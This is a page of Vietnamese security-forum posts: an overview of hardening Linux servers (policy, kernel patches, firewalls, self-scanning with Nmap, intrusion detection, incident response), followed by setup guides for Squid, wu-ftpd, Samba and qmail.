banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: hmnm  XML
Profile for hmnm Messages posted by hmnm [ number of posts not being displayed on this page: 0 ]
 
Thay cho lời kết, xin phép thay mặt toàn thể anh em trong cộng đồng HVA, chúng tôi xin cảm ơn và xin được ghi nhận những tình cảm yêu quý, những đóng góp, quan tâm giúp đỡ của các bạn cũng như của các cơ quan, đoàn thể đối với HVA. Chúng tôi xin hứa là sẽ không ngừng hoàn thiện HVA để đáp ứng nhiều hơn nữa sự mong đợi và kỳ vọng ở mọi người. HVA sẽ luôn là điểm đến, là ngôi nhà thân yêu của cộng đồng người Việt yêu thích Hacking and Security từ khắp bốn phương trời cùng hò hẹn trở về trong tình hữu nghị và đoàn kết một lòng, phấn đầu vì sự vươn lên của nền Bảo mật nước nhà, vì nền CNTT VN không chỉ sánh vai cùng các nước trên thế giới mà còn phải vượt lên trước họ nữa! 


Hy vọng ngày càng có nhiều người ghi nhớ điều này.
hackernohat:

Xin cám ơn lời góp ý của bác và ban quản trị,tôi xin thành thật xin lỗi và hứa là không "tái phạm" lần nữa,thay vì phá phách tôi xin dành sức để đóng góp nhiều hơn nữa.Cám ơn sự chân thành từ bác comale 


Chúc mừng bộ đã học thêm được một chút. Cố gắng phát huy smilie

hackernohat wrote:
He xin lỗi bác à tui không hỉu là tui nói sai cái gì ??? 


Chịu khó "học" thêm chút nữa sẽ hiểu.
Tác giả: prof

Linux đã tạo ra một sự bùng nổ trong lĩnh vực tin học và ngày càng trở nên phổ biến hiện nay. Rất nhiều các công ty, tổ chức trên thế giới chấp nhận Linux như là một platform cho sản phẩm của họ, cũng như nhiều công ty, ISPs sử dụng máy chủ Linux như là các Internet gateway. Vấn đề an toàn an ninh cho hệ thống Linux ngày càng trở nên quan trọng và bức thiết hơn. Tài liệu này sẽ cho bạn một cái nhìn tổng quát về an toàn hệ thống và những hướng dẫn giúp tăng cường mức độ an toàn cho hệ thống Linux của bạn.


GIỚI THIỆU

Cùng với sự phát triển không ngừng của truyền thông kỹ thuật số, Internet và sự phát triển nhảy vọt của nền công nghiệp phần mềm, bảo mật máy tính là một vấn đề ngày càng trở nên quan trọng. Cần phải hiểu rằng không có hệ thống máy tính nào là an toàn tuyệt đối. Tất cả những gì bạn có thể làm là giúp cho hệ thống của bạn trở nên an toàn hơn.

Kể từ khi Linux được phát triển một cách rộng rãi và nhanh chóng, đặc biệt là trong các giao dịch kinh doanh quan trọng, an ninh là một vấn đề quyết định sự sống còn của Linux. Với hàng trăm công cụ bảo vệ sẵn có, người dùng Linux được trang bị tốt hơn để ngăn chặn và duy trì một hệ thống an toàn. Linux không những hoạt động tốt mà còn có những tính năng và sản phẩm liên quan cho phép xây dựng một môi trường tương đối an toàn.

NHỮNG NGUY CƠ AN NINH TRÊN LINUX

Linux và các ứng dụng trên nó có thể không ít các lỗ hổng an ninh hơn những hệ điều hành khác. Theo quan điểm của một số chuyên gia máy tính, Linux có tính an toàn cao hơn các hệ điều hành của Microsoft, vì các sản phẩm của Microsoft không được xem xét kỹ lưỡng và chặt chẽ bằng các sản phẩm mã nguồn mở như Linux. Hơn nữa, Linux dường như là *miễn nhiễm* với virus máy tính (hiện tại đã có xuất hiện một vài loại virus hoạt động trên môi trường Linux nhưng không ảnh hưởng gì mấy đến người dùng Linux). Nhưng một hệ thống Linux được cấu hình không tốt sẽ tệ hơn nhiều so với một hệ thống Microsoft được cấu hình tốt !!! Khi có được một chính sách an ninh tốt và hệ thống được cấu hình theo đúng chính sách đó thì sẽ giúp bạn tạo được một hệ thống an toàn (ở mức mà chính sách của bạn đưa ra).

Nhưng sự an toàn không phải là thứ có thể đạt được như một mục tiêu cuối cùng. Đúng hơn đó là tập hợp của những cách cài đặt, vận hành và bảo trì một hệ điều hành, mạng máy tính, ... Nó phụ thuộc vào các hoạt động hàng ngày của hệ thống, người dùng và người quản trị. Bạn phải bắt đầu từ một nền tảng ban đầu và từ đó cải thiện tính an toàn của hệ thống của bạn nhiều nhất có thể được mà vẫn đảm bảo các hoạt động bình thường của hệ thống.

XEM XÉT CHÍNH SÁCH AN NINH CỦA BẠN

Kết nối vào Inernet là nguy hiểm cho hệ thống mạng của bạn với mức an toàn thấp. Từ những vấn đề trong các dịch vụ TCP/IP truyền thống, tính phức tạp của việc cấu hình máy chủ, các lỗ hổng an ninh bên trong quá trình phát triển phần mềm và nhiều nhân tố khác góp phần làm cho những hệ thống máy chủ không được chuẩn bị chu đáo có thể bị xâm nhập và luôn tồn tại những nguy cơ tiềm tàng về vấn đề an toàn trong đó.

Mục đích của một chính sách an toàn hệ thống là quyết định một tổ chức sẽ phải làm như thế nào để bảo vệ chính nó. Để có được một chính sách an ninh hiệu quả, người xây dựng các chính sách này phải hiểu và có thể kết hợp tất cả các thông tin, yêu cầu, ...

Khi một tình huống xảy ra nằm ngoài dự kiến, chẳng hạn một sự xâm nhập trái phép vào hệ thống của bạn, câu hỏi lớn nhất là "sẽ phải làm gì đây ?"

Không may là có hàng triệu câu trả lời khác nhau cho câu hỏi đó. Nếu một người mà chưa từng phải đối phó với một kẻ xâm nhập trước đây thì kẻ xâm nhập có thể dễ dàng biến mất vì các dấu vết đã trở nên qúa cũ và không còn hữu ích nữa.

Những sai sót trong chính sách an ninh không chỉ liên quan đến những kẻ xâm nhập, mà còn liên quan đến những vấn đề bình thường như thời tiết, thiên tai, cháy, nổ, hư hỏng thiết bị,... Do vậy, việc thiết lập một chính sách an ninh tốt cho việc giải quyết những sự cố phải được lên kế hoạch kỹ lưỡng, được xem xét và chứng nhận bởi người có quyền hạn trong công ty.

Một chính sách an ninh tốt nên bao gồm các vấn đề sau :

Chính sách phục hồi dữ liệu khi có sự cố
Chính sách phục hồi hệ thống trong trường hợp hư hỏng thiết bị
Chính sách, cách thức điều tra những kẻ xâm nhập trái phép
Chính sách, cách thức điều tra khi công ty bị cáo buộc xâm nhập vào các hệ thống khác
Cách thức, quy trình và nơi thông báo sự xâm nhập trái phép từ bên ngoài hay gây ra bởi các nhân viên của mình.
Chính sách an ninh về mặt vật lý của hệ thống
...

Bạn có thể nhờ tư vấn của các công ty, tổ chức làm dịch vụ tư vấn về an toàn máy tính để giúp bạn xây dụng một chính sách an ninh tốt. Các công ty này có các chuyên gia về an toàn máy tính, họ có sẵn các biểu mẫu chính sách an ninh nên có thể thiết lập nhanh chóng các chính sách mà bao gồm tất cả các mặt trong việc an toàn hệ thống máy tính.

TĂNG CƯỜNG AN NINH CHO KERNEL

Mặc dù thừa hưởng những đặc tính của hệ thống UNIX và khá an ninh hơn một số hệ điều hành khác, hệ thống GNU/Linux hiện nay vẫn tồn tại những nhược điểm sau:

Quyền của user ‘root’ có thể bị lạm dụng. User ‘root’ có thể dễ dàng thay đổi bất kỳ điều gì trên hệ thống.
Nhiều file hệ thống có thể dễ dàng bị sửa đổi. Nhiều file hệ thống quan trọng như /bin/login có thể bị sửa đổi bởi hacker để cho phép đăng nhập không cần mật khẩu. Nhưng những file loại này lại hiếm khi nào thay đổi trừ phi khi nâng cấp hệ thống.

Các module có thể được dùng để chặn kernel. *Loadable Kernel Module* là một thiết kế tốt để tăng cường tính uyển chuyển, linh hoạt cho kernel. Nhưng sau khi một module được nạp vào kernel, nó sẽ trở thành một phần của kernel và có thể hoạt động như kernel nguyên thủy. Vì vậy, các chưng trình mục đích xấu có thể được viết dạng module và nạp vào kernel, rồi sau đó hoạt động như một virus.

Các process không được bảo vệ. Các process như web server có thể trở thành mục tiêu bị tấn công của hacker sau khi thâm nhập hệ thống.
Để cải thiện tính an ninh cho các server Linux, chúng ta cần có một kernel an toàn hơn. Điều này có thể thực hiện được bằng cách sửa đổi kernel nguyên thuỷ bằng các ‘patch’ tăng cường tính an ninh cho hệ thống. Các patch này có các tính năng chính yếu sau:

Bảo vệ – bảo vệ các file hệ thống quan trọng khỏi sự thay đổi ngay cả với user root. Bảo vệ các process quan trọng khỏi bị ngừng bởi lệnh *kill*. Chặn các tác vụ truy cập IO mức thấp (RAW IO) của các chương trình không được phép.

Phát hiện – Phát hiện và cảnh báo với người quản trị khi server bị scan. Cũng như khi có các tác vụ trên hệ thống vi phạm các luật (rules) định trước.

Đối phó – Khi phát hiện sự vi phạm trên hệ thống, các ghi nhận chi tiết sẽ được thực hiện cũng như có thể ngừng lập tức phiên làm việc gây ra
Một vài công cụ sửa đổi kernel được sử dụng rộng rãi là LIDS (Linux Intrusion Detection System), Medusa, ...

AN TOÀN CHO CÁC GIAO DỊCH TRÊN MẠNG

Có rất nhiều dịch vụ mạng truyền thống giao tiếp thông qua giao thức văn bản không mã hoá, như TELNET, FTP, RLOGIN, HTTP, POP3. Trong các giao dịch giữa người dùng với máy chủ, tất cả các thông tin dạng gói được truyền qua mạng dưới hình thức văn bản không được mã hoá. Các gói tin này có thể dễ dàng bị chặn và sao chép ở một điểm nào đó trên đường đi. Việc giải mã các gói tin này rất dễ dàng, cho phép lấy được các thông tin như tên người dùng, mật khẩu và các thông tin quan trọng khác. Việc sử dụng các giao dịch mạng được mã hoá khiến cho việc giải mã thông tin trở nên khó hơn và giúp bạn giữ an toàn các thông tin quan trọng. Các kỹ thuật thông dụng hiện nay là IPSec, SSL, TLS, SASL và PKI.

Quản trị từ xa là một tính năng hấp dẫn của các hệ thống UNIX. Người quản trị mạng có thể dễ dàng truy nhập vào hệ thống từ bất kỳ nơi nào trên mạng thông qua các giao thức thông dụng như telnet, rlogin. Một số công cụ quản trị từ xa được sử dụng rộng rãi như linuxconf, webmin cũng dùng giao thức không mã hoá. Việc thay thế tất cả các dịch vụ mạng dùng giao thức không mã hoá bằng giao thức có mã hoá là rất khó. Tuy nhiên, bạn nên cung cấp việc truy cập các dịch vụ truyền thống như HTTP/POP3 thông qua SSL, cũng như thay thế các dịch vụ telnet, rlogin bằng SSH.

LINUX FIREWALL

An toàn hệ thống luôn luôn là một vấn đề sống còn của mạng máy tính và firewall là một thành phần cốt yếu cho việc đảm bảo an ninh.

Một firewall là một tập hợp các qui tắc, ứng dụng và chính sách đảm bảo cho người dùng truy cập các dịch vụ mạng trong khi mạng bên trong vẫn an toàn đối với các kẻ tấn công từ Internet hay từ các mạng khác. Có hai loại kiến trúc firewall cơ bản là : Proxy/Application firewall và filtering gateway firewall. Hầu hết các hệ thống firewall hiện đại là loại lai (hybrid) của cả hai loại trên.

Nhiều công ty và nhà cung cấp dịch vụ Internet sử dụng máy chủ Linux như một Internet gateway. Những máy chủ này thường phục vụ như máy chủ mail, web, ftp, hay dialup. Hơn nữa, chúng cũng thường hoạt động như các firewall, thi hành các chính sách kiểm soát giữa Internet và mạng của công ty. Khả năng uyển chuyển khiến cho Linux thu hút như là một thay thế cho những hệ điều hành thương mại.

Tính năng firewall chuẩn được cung cấp sẵn trong kernel của Linux được xây dựng từ hai thành phần: ipchains và IP Masquerading.

Linux IP Firewalling Chains là một cơ chế lọc gói tin IP. Những tính năng của IP Chains cho phép cấu hình máy chủ Linux như một filtering gateway/firewall dễ dàng. Một thành phần quan trọng khác của nó trong kernel là IP Masquerading, một tính năng chuyển đổi địa chỉ mạng (network address translation- NAT) mà có thể che giấu các địa chỉ IP thực của mạng bên trong.

Để sử dụng ipchains, bạn cần thiết lập một tập các luật mà qui định các kết nối được cho phép hay bị cấm. Ví dụ:

CODE
Code:
# Cho phép các kết nối web tới Web Server của bạn
/sbin/ipchains -A your_chains_rules -s 0.0.0.0/0 www -d 192.16.0.100 1024: -j ACCEPT
# Cho phép các kết nối từ bên trong tới các Web Server bên ngoài
/sbin/ipchains -A your_chains_rules -s 192.168.0.0/24 1024: -d 0.0.0.0/0 www -j ACCEPT
# Từ chối truy cập tất cả các dịch vu khác
/sbin/ipchains -P your_chains_rules input DENY


Ngoài ra, bạn có thể dùng các sản phẩm firewall thương mại như Check Point FireWall-1, Phoenix Adaptive Firewall, Gateway Guardian, XSentry Firewall, Raptor, ... hay rất nhiều các phiên bản miễn phí, mã nguồn mở cho Linux như T.Rex Firewall, Dante, SINUS, TIS Firewall Toolkit, ...

DÙNG CÔNG CỤ DÒ TÌM ĐỂ KHẢO SÁT HỆ THỐNG

Thâm nhập vào một hệ thống bất kỳ nào cũng cần có sự chuẩn bị. Hacker phải xác định ra máy đích và tìm xem những port nào đang mở trước khi hệ thống có thể bị xâm phạm. Quá trình này thường được thực hiện bởi các công cụ dò tìm (scanning tool), kỹ thuật chính để tìm ra máy đích và các port đang mở trên đó. Dò tìm là bước đầu tiên hacker sẽ sử dụng trước khi thực hiện tấn công. Bằng cách sử dụng các công cụ dò tìm như Nmap, hacker có thể rà khắp các mạng để tìm ra các máy đích có thể bị tấn công. Một khi xác định được các máy này, kẻ xâm nhập có thể dò tìm các port đang lắng nghe. Nmap cũng sử dụng một số kỹ thuật cho phép xác định khá chính xác loại máy đang kiểm tra.

Bằng cách sử dụng những công cụ của chính các hacker thường dùng, người qun trị hệ thống có thể nhìn vào hệ thống của mình từ góc độ của các hacker và giúp tăng cường tính an toàn của hệ thống. Có rất nhiều công cụ dò tìm có thể sử dụng như: Nmap, strobe, sscan, SATAN, ...

Dưới đây là một ví dụ sử dụng Nmap:

CODE
Code:
# nmap -sS -O 192.168.1.200
Starting nmap V. 2.54 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on comet (192.168.1.200):
Port State Protocol Service
7 open tcp echo
19 open tcp chargen
21 open tcp ftp
...
TCP Sequence Prediction: Class=random positive increments
Difficulty=17818 (Worthy challenge)
Remote operating system guess: Linux 2.2.13
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds


Tuy nhiên, sử dụng các công cụ này không thể thay thế cho một người quản trị có kiến thức. Bởi vì việc dò tìm thường dự báo một cuộc tấn công, các site nên ưu tiên cho việc theo dõi chúng. Với các công cụ dò tìm, các nhà quản trị hệ thống mạng có thể phát hiện ra những gì mà các hacker có thể thấy khi dò trên hệ thống của mình.

PHÁT HIỆN SỰ XÂM NHẬP QUA MẠNG

Nếu hệ thống của bạn có kết nối vào internet, bạn có thể trở thành một mục tiêu bị dò tìm các lỗ hổng về bảo mật. Mặc dù hệ thống của bạn có ghi nhận điều này hay không thì vẫn không đủ để xác định và phát hiện việc dò tìm này. Một vấn đề cần quan tâm khác là các cuộc tấn công gây ngừng dịch vụ (Denial of Services - DoS), làm thế nào để ngăn ngừa, phát hiện và đối phó với chúng nếu bạn không muốn hệ thống của bạn ngưng trệ.

Hệ thống phát hiện xâm nhập qua mạng (Network Intrusion Detection System - NIDS) theo dõi các thông tin truyền trên mạng và phát hiện nếu có hacker đang cố xâm nhập vào hệ thống (hoặc gây gây ra một vụ tấn công DoS). Một ví dụ điển hình là hệ thống theo dõi số lượng lớn các yêu cầu kết nối TCP đến nhiều port trên một máy nào đó, do vậy có thể phát hiện ra nếu có ai đó đang thử một tác vụ dò tìm TCP port. Một NIDS có thể chạy trên máy cần theo dõi hoặc trên một máy độc lập theo dõi toàn bộ thông tin trên mạng.

Các công cụ có thể được kết hợp để tạo một hệ thống phát hiện xâm nhập qua mạng. Chẳng hạn dùng tcpwrapper để điều khiển, ghi nhận các dịch vụ đã được đăng ký. Các chương trình phân tích nhật ký hệ thống, như swatch, có thể dùng để xác định các tác vụ dò tìm trên hệ thống. Và điều quan trọng nhất là các công cụ có thể phân tích các thông tin trên mạng để phát hiện các tấn công DoS hoặc đánh cắp thông tin như tcpdump, ethereal, ngrep, NFR (Network Flight Recorder), PortSentry, Sentinel, Snort, ...

Khi hiện thực một hệ thống phát hiện xâm nhập qua mạng bạn cần phải lưu tâm đến hiệu suất của hệ thống cũng như các chính sách bảo đảm sự riêng tư.

KIỂM TRA KHẢ NĂNG BỊ XÂM NHẬP

Kiểm tra khả năng bị xâm nhập liên quan đến việc xác định và sắp xếp các lỗ hổng an ninh trong hệ thống bằng cách dùng một số công cụ kiểm tra. Nhiều công cụ kiểm tra cũng có khả năng khai thác một số lỗ hổng tìm thấy để làm rõ quá trình thâm nhập trái phép sẽ được thực hiện như thế nào. Ví dụ, một lỗi tràn bộ đệm của chương trình phục vụ dịch vụ FTP có thể dẫn đến việc thâm nhập vào hệ thống với quyền ‘root’. Nếu người quản trị mạng có kiến thức về kiểm tra khả năng bị xâm nhập trước khi nó xảy ra, họ có thể tiến hành các tác vụ để nâng cao mức độ an ninh của hệ thống mạng.

Có rất nhiều các công cụ mạng mà bạn có thể sử dụng trong việc kiểm tra khả năng bị xâm nhập. Hầu hết các quá trình kiểm tra đều dùng ít nhất một công cụ tự động phân tích các lỗ hổng an ninh. Các công cụ này thăm dò hệ thống để xác định các dịch vụ hiện có. Thông tin lấy từ các dịch vụ này sẽ được so sánh với cơ sở dữ liệu các lỗ hổng an ninh đã được tìm thấy trước đó.

Các công cụ thường được sử dụng để thực hiện các kiểm tra loại này là ISS Scanner, Cybercop, Retina, Nessus, cgiscan, CIS, ...

Kiểm tra khả năng bị xâm nhập cần được thực hiện bởi những người có trách nhiệm một cách cẩn thận. Sự thiếu kiến thức và sử dụng sai cách có thể sẽ dẫn đến hậu quả nghiêm trọng không thể lường trước được.

ĐỐI PHÓ KHI HỆ THỐNG CỦA BẠN BỊ TẤN CÔNG

Gần đây, một loạt các vụ tấn công nhắm vào các site của những công ty lớn như Yahoo!, Buy.com, E-Bay, Amazon và CNN Interactive gây ra những thiệt hại vô cùng nghiêm trọng. Những tấn công này là dạng tấn công gây ngừng dịch vụ ``Denial-Of-Service`` mà được thiết kế để làm ngưng hoạt động của một mạng máy tính hay một website bằng cách gửi liên tục với số lượng lớn các dữ liệu tới mục tiêu tấn công khiến cho hệ thống bị tấn công bị ngừng hoạt động, điều này tương tự như hàng trăm người cùng gọi không ngừng tới 1 số điện thoại khiến nó liên tục bị bận.

Trong khi không thể nào tránh được mọi nguy hiểm từ các cuộc tấn công, chúng tôi khuyên bạn một số bước mà bạn nên theo khi bạn phát hiện ra rằng hệ thống của bạn bị tấn công. Chúng tôi cũng đưa ra một số cách để giúp bạn bảo đảm tính hiệu qủa của hệ thống an ninh và những bước bạn nên làm để giảm rủi ro và có thể đối phó với những cuộc tấn công.

Nếu phát hiện ra rằng hệ thống của bạn đang bị tấn công, hãy bình tĩnh. Sau đây là những bước bạn nên làm:

Tập hợp 1 nhóm để đối phó với sự tấn công:
- Nhóm này phải bao gồm những nhân viên kinh nghiệm, những người mà có thể giúp hình thành một kế hoạch hành động đối phó với sự tấn công.

Dựa theo chính sách và các quy trình thực hiện về an ninh của công ty, sử dụng các bước thích hợp khi thông báo cho mọi người hay tổ chức về cuộc tấn công.

Tìm sự giúp đỡ từ nhà cung cấp dịch vụ Internet và cơ quan phụ trách về an ninh máy tính:
- Liên hệ nhà cung cấp dịch vụ Internet của bạn để thông báo về cuộc tấn công. Có thể nhà cung cấp dịch vụ Internet của bạn sẽ chặn đứng được cuộc tấn công.

- Liên hệ cơ quan phụ trách về an ninh máy tính để thông báo về cuộc tấn công

Tạm thời dùng phương thức truyền thông khác (chẳng hạn như qua điện thoại) khi trao đổi thông tin để đảm bo rằng kẻ xâm nhập không thể chặn và lấy được thông tin.

Ghi lại tất cả các hoạt động của bạn (chẳng hạn như gọi điện thoại, thay đổi file, ...)

Theo dõi các hệ thống quan trọng trong qúa trình bị tấn công bằng các phần mềm hay dịch vụ phát hiện sự xâm nhập (intrusion detection software/services). Điều này có thể giúp làm giảm nhẹ sự tấn công cũng như phát hiện những dấu hiệu của sự tấn công thực sự hay chỉ là sự quấy rối nhằm đánh lạc hướng sự chú ý của bạn(chẳng hạn một tấn công DoS với dụng ý làm sao lãng sự chú ý của bạn trong khi thực sự đây là một cuộc tấn công nhằm xâm nhập vào hệ thống của bạn).

- Sao chép lại tất cả các files mà kẻ xâm nhập để lại hay thay đổi (như những đoạn mã chương trình, log file, ...)

Liên hệ nhà chức trách để báo cáo về vụ tấn công.

Những bước bạn nên làm để giảm rủi ro và đối phó với sự tấn công trong tương lai :

+ Xây dựng và trao quyền cho nhóm đối phó với sự tấn công
+ Thi hành kiểm tra an ninh và đánh giá mức độ rủi ro của hệ thống
+ Cài đặt các phần mềm an toàn hệ thống phù hợp để giảm bớt rủi ro
+ Nâng cao khả năng của mình về an toàn máy tính
+ Các bước kiểm tra để giúp bạn bảo đảm tính hiệu quả của hệ thống an ninh

Kiểm tra hệ thống an ninh mới cài đặt : chắc chắn tính đúng đắn của chính sách an ninh hiện có và cấu hình chuẩn của hệ thống.

Kiểm tra tự động thường xuyên: để khám phá sự *viếng thăm* của những hacker hay những hành động sai trái của nhân viên trong công ty.

Kiểm tra ngẫu nhiên: để kiểm tra chính sách an ninh và những tiêu chuẩn, hoặc kiểm tra sự hiện hữu của những lỗ hổng đã được phát hiện (chẳng hạn những lỗi được thông báo từ nhà cung cấp phần mềm)

Kiểm tra hằng đêm những file quan trọng: để đánh giá sự toàn vẹn của những file và cơ sở dữ liệu quan trọng.

Kiểm tra các tài khoản người dùng: để phát hiện các tài khoản không sử dụng, không tồn tại, ...

Kiểm tra định kỳ để xác định trạng thái hiện tại của hệ thống an ninh của bạn

BẠN CÓ THỂ XEM THÊM THÔNG TIN TẠI

Các trung tâm giúp đối phó tai nạn trên Internet

http://www.cert.org/
http://www.first.org/
http://ciac.llnl.gov/
http://www.cert.dfn.de/eng/csir/europe/certs.html

Một số website về an toàn máy tính

http://www.cs.purdue.edu/coast/
http://www.linuxsecurity.com/
http://www.securityportal.com/
http://www.tno.nl/instit/fel/intern/wkinfsec.html
http://www.icsa.net/
http://www.sans.org/
http://www.iss.com/
http://www.securityfocus.com/

Thông tin về an toàn từ nhà cung cấp

http://www.calderasystems.com/news/security/
http://www.debian.org/security/
http://www.redhat.com/cgi-bin/support/

Một số sách về an toàn máy tính

1. Actually Useful Internet Security Techniques by Larry J. Hughes Jr.
2. Applied Cryptography: Protocols, Algorithms and Source Code in C by Bruce Schneier
3. Building Internet Firewall by Brent Chapman & Elizabeth D. Zwicky
4. Cisco IOS Network Security by Mike Kaeo
5. Firewalls and Internet Security by Bill Cheswick & Steve Bellovin
6. Halting the Hacker: A practical Guide To Computer Security by Donal L. Pipkin
7. Intrusion Detection: An Introduction to Internet Surveillance, Correlation, Traps, Trace Back and Response by Edward G. Amoroso
8. Intrusion Detection: Network Security Beyond the Firewall by Terry Escamilla
9. Linux Security by Jonh S. Flowers

Theo Vietnam Security
Chào 777,

Mình thấy các bài viết của bồ rất hữu ích, những chỗ nào không chính xác trong quá trình vận dụng mỗi người sẽ có cách giải quyết khác nhau (tìm hiểu thêm trong box MUC LUC, tham khảo trên các diễn đàn khác, hoặc post lên đây để bồ cùng mọi người giải thích giùm,...)

Mình chỉ muốn post lên để có thêm tư liệu cho mọi người, nếu bồ yêu cầu mình đừng post (để cập nhật, chỉnh sữa,....) thì mình sẽ ko post nữa smilie

Thân.
Proxy Server With Apache

Về phần Apache chỉnh sửa file httpd.conf như sau

QUOTE
ProxyRequests On

CacheRoot /var/cache/proxy
CacheSize 50
CacheMaxExpire 24
CacheDefaultExpire 1
Nocache <local machine>
Listen <port>
---  


squid

Cài đặt squid

Tải về
ftp://ftp.squid-cache.org/pub/squid-2/STABLE/
ftp://ftp.squid-cache.org/pub/squid-2/STABLE/squid-2.3.STABLE4-src.tar.gz

Giải nén

QUOTE
$gzip -dc squid-2.3.STABLE4-src.tar.gz | tar xvf -
$cd squid-2.3.STABLE4  


Tạo user dành riêng cho squild

QUOTE
#groupadd -g 9000 squid
#useradd -u 9000 -g 9000 -d /usr/local/squid -c "squid user" squid  


QUOTE
#cd /usr/local
#chown -R squid squid
#chgrp -R squid squid
#/usr/local/squid/bin/squid -z  


Sửa file squid như sau

QUOTE
http_port <proxy port>
icp_port 3130
local_domain <localdomain>
local_ip <localIP>
cache_stoplist_pattern ://xxx\.xxx\.
cache_mem 50
cache_swap 100
cache_access_log /var/log/squid/access.log
cache_log /var/log/squid/cache.log
cache_store_log none
pid_filename /var/run/squid.pid
ftp_user <mail address>
refresh_pattern . 0 20% 4320
# 30 days
reference_age 10 days
visible_hostname <hostname>
logfile_rotate 5  


Tự động start up

QUOTE
#vi /etc/rc.d/init.d/squid
#chmod u+x /etc/rc.d/init.d/squid
#cd /etc/rc3.d
#ln -s ../init.d/squid S99squid  


Sau cùng khởi động squid

QUOTE
#/etc/rc.d/init.d/squid start
#/etc/rc.d/init.d/squid stop  

Wu-ftpd

Download

ftp://ftp.wu-ftpd.org/pub/wu-ftpd/wu-ftpd-current.tar.gz

Cài đặt

QUOTE
# ./configure --prefix=/usr/local
# make
# make install  


copy build script

QUOTE
# cd doc/examples
# cp ftpaccess ftpconversions ftpusers /usr/local/etc  


sửa lại nội dung của file inetd

QUOTE
ftp stream tcp nowait root /usr/local/sbin/in.ftpd in.ftpd -a  


khởi động inetd

QUOTE
# killall -HUP inetd  



Samba tì tó te

Xoá những pakage củ nằm trên máy .

QUOTE

# rpm -qa | grep samba
samba-common-2.1.1a-4
samba-2.1.1a-4
samba-swat-2.1.1a-4
samba-client-2.1.1a-4

# rpm -e samba-common-2.1.1a-4
# rpm -e samba-2.1.1a-4
# rpm -e samba-swat-2.1.1a-4
# rpm -e samba-client-2.1.1a-4  


Tải về

ftp://ftp.ring.gr.jp/pub/net/samba-jp/samba-2.2.2-ja/beta/RPMS/RedHat7.2/

QUOTE
# cd /usr/local/src/
# rpm -ivh samba-2.2.2.ja-5.i386.rpm  


sửa lại file smb.conf như sau

QUOTE
# cd /etc/samba
# cp smb.conf.rpmnew smb.conf  


QUOTE
# vi smb.conf
-----
[Global]
workgroup = MYGROUP
-----  


# vi /etc/printcap

QUOTE

PM-3000C|Epson:\
:sh:\
:mx#0:\
:sd=/var/spool/lpd/PM-3000C:\
:lp=/dev/lp0:  


Sửa lại super deamon thành như sau .

QUOTE

# cd /etc/xinietd.d/
# vi swat
-----
# default: off
# description: SWAT is the Samba Web Admin Tool. Use swat \
# to configure your Samba server. To use SWAT, \
# connect to port 901 with your favorite web browser.
service swat
{
disable = no
port = 901
socket_type = stream
wait = no
only_from = 192.168.1.0
user = root
server = /usr/sbin/swat
log_on_failure += USERID
}  


sau cùng bạn hãy chĩnh lại parmission cũa smb.conf thành 775
Tác giả: 777

Qmail Server

Download
http://www.johannrain-softwareentwicklung.de/bitdefender_qmail.htm

Những đồ cần thiê't
qmail-1.03.tar.gz qmail bãng chi'nh
qmail-date-localtime.patch <--- tư` tên cũng co' thễ đọc ra được rồi , tar ball này là pacth cho localtime
ucspi-tcp-0.88.tar.gz <------tcpserve , đễ giơ'i hạn là quyền acsesse
checkpw-0.80.tar.gz apop <--- đễ nhận thư'ch ?
checkpassword-0.90.tar.gz <--- passwd linux cho user
relay-ctrl-2.5.tar.gz <--- co' thễ thực hiện cho ta được pop before smtp

tạo group & usr sũ dụng cho qmail

QUOTE

mkdir /var/qmail
groupadd nofiles
useradd -g nofiles -d /var/qmail/alias -s /bin/false alias
useradd -g nofiles -d /var/qmail -s /bin/false qmaild
useradd -g nofiles -d /var/qmail -s /bin/false qmaill
useradd -g nofiles -d /var/qmail -s /bin/false qmailp
groupadd qmail
useradd -g qmail -d /var/qmail -s /bin/false qmailq
useradd -g qmail -d /var/qmail -s /bin/false qmailr
useradd -g qmail -d /var/qmail -s /bin/false qmails
 


install qmail

QUOTE
cd qmail-1.03

patch -p1 < ../qmail-date-localtime.patch :localtime pacth
patch -p1 < ../checkpw-0.80/qmail-popup-auth.patch :patch nhận thưch apop
maek setup check
./config-fast dora.dip.jp
cp /var/qmail/boot/home /var/qmail/rc
mkdir /var/qmail/alias
cd /var/qmail/alias
touch .qmail-postmaster .qmail-mailer-daemon .qmail-root
chmod 644 .qmail*

install tcpserver 


QUOTE
cd ucspi-tcp-0.88
make setup check

install apop 


QUOTE
cd checkpw-0.80
make setup check  


setting program share cho password

trong apop password , thì phãi chĩ định cho file .password ! nê'u sài ca'i này thì bạn co' thễ sũ dụng acount và password đễ login

QUOTE
cd checkpassword-0.90
make setup check  


Install relay-ctrl(pop before smtp)

QUOTE
make
make root-install
useradd -d /var/qmail/relay-ctrl -s /bin/false relay-ct
chown relay-ct /usr/sbin/relay-ctrl-allow
chmod u+s /usr/sbin/relay-ctrl-allow
mkdir /etc/relay-ctrl
cd /etc/relay-ctrl
echo "/var/qmail/relay-ctrl" > rulesdir
echo "tcprules.dat" > smtpcdb
echo "tcprules.txt" > smtprules
echo "/usr/local/bin/tcprules" > tcprules
mkdir /var/qmail/relay-ctrl/spool
vi /var/qmail/relay-ctrl/tcprules.txt

127.:allow,RELAYCLIENT=""
:allow

cd /var/qmail/relay-ctrl
/usr/local/bin/tcprules tcprules.dat tcprules.tmp < tcprules.txt
chown -R relay-ct /var/qmail/relay-ctrl
crontab -u relay-ct -e

* * * * * /usr/sbin/relay-ctrl-age  


Ta đã xong phần install ca'c tar ball , bây giờ thì hãy vô phần setting cho qmail .

C'c file khõi động qmail

QUOTE
/var/qmail/rc
#!/bin/sh

/usr/local/bin/tcpserver -x /var/qmail/relay-ctrl/tcprules.dat -H -v -u qmaild -g nofiles 0 smtp /var/qmail/bin/qmail-smtpd 2>&1 | /var/qmail/bin/splogger smtp 3 &

/usr/local/bin/tcpserver -H 0 pop3 /var/qmail/bin/qmail-popup dora.dip.jp /bin/check_apop_pop /usr/sbin/relay-ctrl-allow /var/qmail/bin/qmail-pop3d Maildir &

exec env - PATH="/var/qmail/bin:$PATH" \
qmail-start ./Maildir/ splogger qmail
/bin/check_apop_pop
#!/bin/sh
case "$AUTH" in
apop)
exec /bin/checkapoppw "$@"
;;
*)
exec /bin/checkpassword "$@"
;;
esac  


hãy nho' change parmission là 755

setting phần boot qmal
